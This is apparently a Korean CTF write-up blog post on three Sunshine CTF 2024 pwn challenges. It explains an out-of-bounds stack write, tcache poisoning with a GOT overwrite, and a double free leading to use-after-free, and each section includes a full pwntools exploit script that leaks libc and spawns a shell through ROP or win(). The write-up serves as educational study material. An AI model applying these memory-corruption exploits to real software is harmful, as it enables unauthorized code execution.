Sunshine CTF 2024 writeup (pwn)

dandb3·2024년 10월 23일
0

writeup

목록 보기
7/8

1. Adventure! On the High C!

16x16의 map에서 row와 column을 입력받은 후, 랜덤으로 존재하는 상대의 ship을 다 맞추는 게임이다.

int __fastcall main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // eax
  unsigned __int8 v5; // [rsp+3h] [rbp-21Dh] BYREF
  unsigned int v6; // [rsp+4h] [rbp-21Ch] BYREF
  unsigned int v7; // [rsp+8h] [rbp-218h] BYREF
  unsigned __int8 v8; // [rsp+Fh] [rbp-211h] BYREF
  char v9[256]; // [rsp+10h] [rbp-210h] BYREF
  char v10[268]; // [rsp+110h] [rbp-110h] BYREF
  int v11; // [rsp+21Ch] [rbp-4h]
  __int64 savedregs; // [rsp+220h] [rbp+0h] BYREF

  ...

  while ( !v11 )
  {
    puts("\n<<< Your Board:");
    sub_17BD(v10, 1LL);
    puts("\n<<< Enemy Board:");
    sub_17BD(v9, (unsigned int)dword_406C);
    printf("\nEnter the row (0-9, a-f) >>> ");
    __isoc99_scanf(" %i", &v7);
    printf("Enter the column (0-9, a-f) >>> ");
    __isoc99_scanf("%i", &v6);
    printf("Choose missile type - Tomahawk (T), Hellfire (H), SideWinder (S), Custom (C) >>> ");
    __isoc99_scanf(" %c", &v8);
    if ( v8 == 'C' )
    {
      printf("Enter a custom missile as a single ASCII character >>> ");
      __isoc99_scanf(" %c", &v5);
      v8 = v5;
    }

v9와 v10이 바로 16x16 char map이 저장된 배열이다.

row와 column은 0 ~ 9, a ~ f의 값을 통해 입력받고, missile type을 따로 입력을 받게 되는데 'C'를 통해 원하는 다른 값도 입력 가능하다.

vulnerability

row, column의 유효값인 0 ~ 9, a ~ f가 아니라면 아래 else문에 오게된다.

    else
    {
      printf(
        "<<< Fired outside board, corrupting %p from %02x to %02x!",
        &v9[16 * v7 + v6],
        *((unsigned __int8 *)&savedregs + 16 * (int)v7 + (int)v6 - 528),
        v8);
      *((_BYTE *)&savedregs + 16 * (int)v7 + (int)v6 - 528) = v8;
    }

여기서 printf()를 통해 leak이 가능하다. %p를 통해 stack leak, %02x를 여러번 반복해서 libc leak을 할 수 있다.

마지막줄은 실제 값을 바꾸는 과정인데, 이를 여러번 반복하면 ROP가 가능하다.

exploit code

실제 exploit code는 아래와 같다.

from pwn import *

# r = process("../chal")
r = remote("2024.sunshinectf.games", 24003)

def menu(row, col, missile):
    r.sendlineafter(b"Enter the row (0-9, a-f) >>> ", str(row).encode())
    r.sendlineafter(b"Enter the column (0-9, a-f) >>> ", str(col).encode())
    if missile == b"C":
        r.sendlineafter(b"Custom (C) >>> ", b"C")
        r.sendlineafter(b"ASCII character >>> ", b"C")
    else:
        r.sendlineafter(b"Custom (C) >>> ", missile)

def write_byte(target_addr, byte):
    target_row = (target_addr - target_base) // 16
    target_col = (target_addr - target_base) % 16
    menu(target_row, target_col, byte)

def write_qword(target_addr, qword):
    for i in range(8):
        write_byte(target_addr + i, p8(qword[i]))

# get stack address

menu(1, -16, b"T")
r.recvuntil(b"corrupting ")
target_base = int(r.recvn(14), 16)
ret_addr = target_base + 0x218
print(f"[+] target_base: {hex(target_base)}")

# libc leak

libc_base = 0

for i in range(0, 6):
    menu(33, 8 + i, b"T")
    r.recvuntil(b"from ")
    libc_base += (int(r.recvn(2), 16) << (i * 8))
    
libc_base -= 0x2a1ca
print(f"[+] libc_base: {hex(libc_base)}")

# ROP payload

write_qword(ret_addr, p64(libc_base + 0x10f75b)) # pop rdi
write_qword(ret_addr + 0x8, p64(libc_base + 0x1cb42f)) # /bin/sh
write_qword(ret_addr + 0x10, p64(libc_base + 0x10f75c)) # ret
write_qword(ret_addr + 0x18, p64(libc_base + 0x58740)) # system

menu(33, -1, b"A")

r.interactive()

2. heap01

원하는 사이즈를 입력 받은 후, 해당 사이즈로 두 번 malloc()을 호출하는 문제이다.

unsigned __int64 win()
{
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  system("/bin/sh");
  return v1 - __readfsqword(0x28u);
}

win()이라는 함수가 존재하여 이 함수만 호출한다면 exploit이 가능하다.

vulnerability

v2[inp] = get_inp();

...

v2[v4] = get_inp();

user가 원하는 index에 원하는 값을 쓰는 과정이 두 번 있는데, 그 부분에서 음수 OOB가 발생하게 된다.

exploit

malloc()이 처음 호출되면, tcache 구조체가 먼저 할당되고, 그 다음에 user가 호출한 할당이 진행된다. 그러므로 음수 OOB를 활용하여 tcache bin의 포인터값과 cnt값을 수정할 수 있다.

그러면 다음 malloc() 호출 시 원하는 주소를 할당받을 수 있게 된다.
그 후, 0, 1, 2 index의 값을 입력받게 되는데, 이를 통해 AAW가 가능하다.

  v5 = malloc(size);
  puts("Value 1: ");
  *v5 = get_inp();
  puts("Value 2 - ");
  v5[1] = get_inp();
  puts("Value 3 -> ");
  v5[2] = get_inp();

이 문제의 경우, No PIE 이고, Partial RELRO이기 때문에 GOT overwrite를 통해 win()함수의 주소로 덮을 것이다.

여기서 주의해야 할 점은 tcache라고 할지라도 address가 0x10으로 align 되어 있어야 한다.

exploit code

from pwn import *

# r = process("./heap01")
r = remote("2024.sunshinectf.games", 24006)

# r.interactive()

r.sendlineafter(b"Do you want a leak? ", b"y")
r.sendlineafter(b"Enter chunk size: ", b"16")

# Corrupt tcache bin
# tcache bin[0] cnt
r.sendlineafter(b"Index: ", b"-596")
r.sendlineafter(b"Value: ", b"1")

# tcache bin[0] next ptr
r.sendlineafter(b"Index: ", b"-580")
r.sendlineafter(b"Value: ", b"4210752")  # atoll@got addr

# overwrite got
r.sendlineafter(b"Value 1: ", b"4199019")  # win() addr
r.sendlineafter(b"Value 2 - ", b"hello")

r.interactive()

Welcome to the Jungle!

int __fastcall sub_126C(unsigned int a1)
{
  __int64 v1; // rax

  v1 = knapsack[a1];
  if ( !v1 )
  {
    knapsack[a1] = malloc(0x40uLL);
    used[a1] = 1;
    if ( !knapsack[a1] )
    {
      printf("<<< Failed to allocate memory for pocket %d!\n", a1);
      exit(1);
    }
    LODWORD(v1) = printf("<<< Opened pocket %d.\n", a1);
  }
  return v1;
}

knapsack[8] 의 배열이 존재하고, 처음에 malloc(0x40)만큼 1 ~ 6 index의 값에 할당이 된다.
그 후 used[8]을 통해 사용중이라는 1 값이 각 index에 저장된다.

그리고 while문을 통해 25번의 입력을 받고 프로그램이 종료되게 된다.
입력을 통해 use supplies, add supplies, remove supplies의 3가지 행동이 가능하다.

vulnerability

remove supplies

void __fastcall sub_1644(unsigned int a1)
{
  if ( knapsack[a1] && used[a1] == 1 )
  {
    free((void *)knapsack[a1]);
    printf("<<< Removed item from pocket %d.\n", a1);
  }
  else
  {
    printf("<<< Pocket %d is already empty.\n", a1);
  }
  used[a1] = used[a1] == 0;
}

사용중인 knapsack인 경우 free를 하지만, 이미 free가 되어있는 knapsack인 경우 used = 1 로 바꾸어 버린다.

이 상태에서 다시 remove supplies를 호출하면 double free가 가능하다.

또한 add supplies와 연계할 경우, UAF가 가능하여 원하는 주소의 chunk를 next pointer로 바꿀 수 있다.

use supplies

  if ( !strncmp((const char *)knapsack[a1], "Genie", 5uLL) )
    return printf("<<< The genie unrolls a shimmering map showing a secret starting point: %p\n", &printf);

만약 supply의 이름이 "Genie"라면 libc leak이 가능하다.

exploit

libc leak

add supplies를 사용하여 supply의 이름을 "Genie"로 바꾼 후, use supplies를 사용하게 되면 libc leak이 가능하다.

heap leak

remove supplies를 두 번 호출하게 되면 free가 된 상태로 used = 1 상태가 되는데, 이 때 use supplies를 호출하게 되면

  printf("<<< Using item from pocket %d: %s\n", a1, (const char *)knapsack[a1]);

이 코드를 통해 chunk의 next pointer값 leak이 가능하다.

AAR, AAW

heap leak을 했으니 AAR, AAW를 어떻게 하는지 간단하게 설명한다.
총 3개의 index가 필요하다.

remove supplies 호출 -> chunk free
remove supplies 호출 -> chunk의 used = 1로 만듬
add supplies 호출 -> chunk의 next pointer를 원하는 주소로 수정

add supplies 호출 (used = 0인 상태)
add supplies 호출 (used = 0인 상태) -> 원하는 주소 할당 및 AAW 가능

이후
use supplies 호출 -> AAR 가능

stack leak

AAR을 통해 libc의 environ변수를 사용하여 stack주소를 leak한다.
그 후, AAW를 통해 return address를 ROP payload로 덮는다.

exploit code

from pwn import *

# r = process('./jungle.bin', env={"LD_PRELOAD": "./libc.so.6"})
r = remote("2024.sunshinectf.games", 24005)

def use_supplies(idx):
    r.sendlineafter(b'choice >>> ', b'1')
    r.sendlineafter(b'>>>', str(idx).encode())

def add_supplies(idx, name):
    r.sendlineafter(b'choice >>> ', b'2')
    r.sendlineafter(b'>>>', str(idx).encode())
    r.sendafter(b'>>>', name)

def remove_supplies(idx):
    r.sendlineafter(b'choice >>> ', b'3')
    r.sendlineafter(b'>>>', str(idx).encode())

# libc leak
add_supplies(1, b'Genie\x00\x00\x00' + p64(0) * 7)
use_supplies(1)
r.recvuntil(b'The genie unrolls a shimmering map showing a secret starting point: ')
libc_base = int(r.recv(14), 16) - 0x600f0
environ = libc_base + 0x20ad58
r.success(f'libc_base: {hex(libc_base)}')

# heap leak
remove_supplies(2)
remove_supplies(2)
use_supplies(2)
r.recvuntil(b'pocket 2: ')
heap_base = u64(r.recvuntil(b'\x0a')[:-1].ljust(8, b'\x00')) << 12
r.success(f'heap_base: {hex(heap_base)}')

# stack leak
remove_supplies(3)
remove_supplies(4)
remove_supplies(5)

remove_supplies(5)
add_supplies(5, p64(((heap_base) >> 12) ^ (environ - 0x18)) + p64(0) * 7)

add_supplies(3, p64(0) * 8)
add_supplies(4, b"A" * 0x18)
use_supplies(4)
r.recvuntil(b"A" * 0x18)
ret_addr = u64(r.recvline()[:-1].ljust(8, b"\x00")) - 0x130

r.success(f"ret_addr: {hex(ret_addr)}")

# exploit
remove_supplies(1)
remove_supplies(5)
remove_supplies(6)
remove_supplies(6)
add_supplies(6, p64(((heap_base) >> 12) ^ (ret_addr - 0x8)) + p64(0) * 7)

add_supplies(5, p64(0) * 8)

payload = p64(0)                     # rbp
payload += p64(libc_base + 0x10f75b) # pop rdi
payload += p64(libc_base + 0x1cb42f) # /bin/sh
payload += p64(libc_base + 0x10f75c) # ret
payload += p64(libc_base + 0x58740)  # system

add_supplies(1, payload + p64(0) * 3)

pause()
for _ in range(5):
    r.sendlineafter(b'choice >>> ', b'0')

r.interactive()
profile
공부 내용 저장소

0개의 댓글